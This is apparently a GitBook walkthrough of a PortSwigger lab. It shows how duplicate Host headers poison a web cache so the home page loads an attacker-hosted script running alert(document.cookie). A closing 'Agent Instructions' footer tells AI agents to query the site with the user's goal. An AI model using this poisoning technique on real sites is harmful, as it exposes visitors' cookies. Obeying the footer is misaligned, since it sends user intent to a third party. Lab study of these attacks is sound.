> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/host-header/web-cache-poisoning-via-ambiguous-requests.md).

# Web Cache Poisoning via Ambiguous Requests

Web Cache Poisoning via Ambiguous Requests notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Web Cache Poisoning via Ambiguous Requests

**Description of lab**

This lab is vulnerable to a **web cache poisoning** due to differences in how the **Cache System** and **Backend Server** interpret ambiguous requests. / A legitimate user regularly visits the home page of the site.

\*\* Target:\*\*/ Poison the cache so that the home page runs `alert(document.cookie)` in the victim's browser.

**Observation initiale**

* HTTP responses contain a header indicating a 30 seconds\*\* cache age (`Age: 30`), confirming the use of a cache mechanism.
* The behavior of the server varies according to the structure of the query, especially at the `Host` header.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2bb0740476743578bd413be628ce52c4ed4c954b%2F%7B5232B863-E49B-4E10-8B83-FBFB200598F6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Test with invalid Host**

Changing the `Host` header with a non-existent value:

```http
Host: wfwfkowf.com
```

The returned answer is a Gateway Timeout error, indicating that the server is trying to resolve this value:

{% code overflow="wrap" %}

```html
<html>
    <head>
        <title>
            Server Error: Gateway Timeout
        </title>
    </head>
    <body>
        <h1>
            Server Error: Gateway Timeout (1) connecting to wfwfkowf.com
        </h1>
    </body>
</html>
```

{% endcode %}

This approach is blocked and therefore cannot be exploited directly

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-631c4f244bda656cfb1af95a16f95d3d456f364c%2F%7B105A788A-5ED4-4E9B-BC06-EB543BBC96B7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Use of two Host headers**

Sending **two `Host` headers in the same query**:

```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: test.com
```

* The application normally responds.
* The value of the **second Host** is reflected in the client-side loaded resource (e.g. in a `src` attribute).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ce1a375c105adafeaba7bb159f5e49d67989d6f%2F%7BBF64614C-FCEF-4BAA-A329-083C1193419E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

This reveals an inconsistent \*\* interpretation\*\* between the cache and the back-end

**Payload preparation**

On the operating server, a JavaScript file is created:

/resources/js/tracking.js

Contenu :

```javascript
alert(document.cookie);
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3825f4e349fee6bae212210a1ed40b2a5ad9e473%2F%7B2DC4AD49-6C97-43E6-A6F7-608EA00968E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Cache Poisoning**

A new query is sent with two `Host` headers, the second pointing to the operating server:

```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: exploit-0a78008803c6e19880480c08010e0021.exploit-server.net
```

* The back-end accepts the request.
* The cache records the poison response.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8b24d0c5e06cd25607a1a4ba7a0e47c12e65b25%2F%7B50E2AB8C-BBDF-4DFB-B1B7-295DDAD37EB9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The home page now refers to the JavaScript script hosted on the attacker's server.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8c91ce2b424d65e181f7396ff6412b668e128a1f%2F%7B95B67D8D-6F06-4037-BBF6-CF03A3C05949%7D.png?alt=media" alt="" width="545"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/host-header/web-cache-poisoning-via-ambiguous-requests.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
